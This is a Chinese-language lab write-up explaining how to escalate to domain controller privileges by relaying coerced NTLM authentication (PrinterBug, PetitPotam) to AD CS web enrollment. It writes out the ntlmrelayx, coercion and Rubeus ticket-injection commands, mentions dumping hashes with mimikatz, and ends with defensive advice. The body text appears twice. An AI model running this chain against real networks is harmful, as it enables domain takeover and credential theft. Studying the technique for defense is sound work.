攻击AD证书服务获取域控权限
字数 1167 2025-08-09 16:00:17

攻击AD证书服务获取域控权限技术分析

技术背景

Active Directory证书服务(AD CS)是Windows Server中提供公钥基础设施(PKI)功能的角色服务。当AD安装证书服务后,会暴露一个HTTP端点/certsrv/certfnsh.asp,该端点容易受到NTLM中继(NTLM Relay)攻击。

攻击原理

攻击者可以利用以下技术链完成域控权限获取:

  1. 通过打印机漏洞(MS-RPRN)或PetitPotam(MS-EFSRPC)强制目标服务器向攻击者机器进行身份验证
  2. 将获得的NTLM认证中继到AD CS的HTTP端点
  3. 获取域控制器计算机账户的证书
  4. 使用该证书请求Kerberos票证(TGT)
  5. 最终获取域控权限

环境准备

  • 攻击机器: 192.168.8.164
  • AD域控(SRV-DC): 192.168.8.144
  • AD辅域(SRV-DC2): 192.168.8.155

详细攻击步骤

1. 更新Impacket工具

确保使用最新版Impacket,特别是包含AD CS中继攻击支持的版本:

https://github.com/SecureAuthCorp/impacket/pull/1101

2. 启动NTLM中继监听

在攻击机器上执行:

ntlmrelayx.py -t http://192.168.8.144/certsrv/certfnsh.asp -smb2support --adcs --template 'Domain Controller'

关键参数说明:

  • -t: 目标URL,指向域控的证书服务端点
  • --adcs: 启用AD CS攻击模式
  • --template: 指定证书模板,必须与目标账户类型匹配(此处为域控制器)

3. 触发NTLM认证

方法一:使用打印机漏洞(PrinterBug)

python printerbug.py domain.org/user:password@192.168.8.155 192.168.8.164

方法二:使用PetitPotam(EFSRPC协议)

python Petitpotam.py -u user -p password -d domain.org 192.168.8.164 192.168.8.155

4. 获取证书并请求TGT

当中继成功后,ntlmrelayx将返回一个base64编码的证书。使用Rubeus工具请求TGT:

Rubeus.exe asktgt /user:SRV-DC2$ /certificate:certificatebase64body /ptt

参数说明:

  • /user: 目标计算机账户(注意以$结尾)
  • /certificate: 上一步获取的证书
  • /ptt: 将获得的TGT直接注入当前会话

5. 获取域控权限

成功注入TGT后,可以使用mimikatz等工具dump域控的hash或执行其他操作。

关键注意事项

  1. 证书模板选择:

    • 必须选择与目标账户类型匹配的模板
    • 域控制器账户应使用'Domain Controller'模板
  2. 中继限制:

    • 不能将认证中继回同一台机器(不能自中继)
    • 子域账户通常没有权限被中继到父域
  3. 替代攻击手法:

    • 非约束委派攻击
    • 基于资源的约束委派攻击(CVE-2019-1040)

防御建议

  1. 禁用不必要的HTTP证书服务端点
  2. 启用SMB签名防止中继攻击
  3. 限制证书模板的权限
  4. 安装最新的安全补丁
  5. 监控异常证书请求活动

总结

该攻击链利用AD CS服务的NTLM认证弱点,结合强制认证漏洞,最终获取域控制器权限。攻击成功的关键在于正确配置中继目标和选择合适的证书模板。防御方应重点关注强制认证漏洞的修补和证书服务的安全配置。

攻击AD证书服务获取域控权限技术分析 技术背景 Active Directory证书服务(AD CS)是Windows Server中提供公钥基础设施(PKI)功能的角色服务。当AD安装证书服务后,会暴露一个HTTP端点 /certsrv/certfnsh.asp ,该端点容易受到NTLM中继(NTLM Relay)攻击。 攻击原理 攻击者可以利用以下技术链完成域控权限获取: 通过打印机漏洞(MS-RPRN)或PetitPotam(MS-EFSRPC)强制目标服务器向攻击者机器进行身份验证 将获得的NTLM认证中继到AD CS的HTTP端点 获取域控制器计算机账户的证书 使用该证书请求Kerberos票证(TGT) 最终获取域控权限 环境准备 攻击机器 : 192.168.8.164 AD域控(SRV-DC) : 192.168.8.144 AD辅域(SRV-DC2) : 192.168.8.155 详细攻击步骤 1. 更新Impacket工具 确保使用最新版Impacket,特别是包含AD CS中继攻击支持的版本: 2. 启动NTLM中继监听 在攻击机器上执行: 关键参数说明 : -t : 目标URL,指向域控的证书服务端点 --adcs : 启用AD CS攻击模式 --template : 指定证书模板,必须与目标账户类型匹配(此处为域控制器) 3. 触发NTLM认证 方法一:使用打印机漏洞(PrinterBug) 方法二:使用PetitPotam(EFSRPC协议) 4. 获取证书并请求TGT 当中继成功后,ntlmrelayx将返回一个base64编码的证书。使用Rubeus工具请求TGT: 参数说明 : /user : 目标计算机账户(注意以$结尾) /certificate : 上一步获取的证书 /ptt : 将获得的TGT直接注入当前会话 5. 获取域控权限 成功注入TGT后,可以使用mimikatz等工具dump域控的hash或执行其他操作。 关键注意事项 证书模板选择 : 必须选择与目标账户类型匹配的模板 域控制器账户应使用'Domain Controller'模板 中继限制 : 不能将认证中继回同一台机器(不能自中继) 子域账户通常没有权限被中继到父域 替代攻击手法 : 非约束委派攻击 基于资源的约束委派攻击(CVE-2019-1040) 防御建议 禁用不必要的HTTP证书服务端点 启用SMB签名防止中继攻击 限制证书模板的权限 安装最新的安全补丁 监控异常证书请求活动 总结 该攻击链利用AD CS服务的NTLM认证弱点,结合强制认证漏洞,最终获取域控制器权限。攻击成功的关键在于正确配置中继目标和选择合适的证书模板。防御方应重点关注强制认证漏洞的修补和证书服务的安全配置。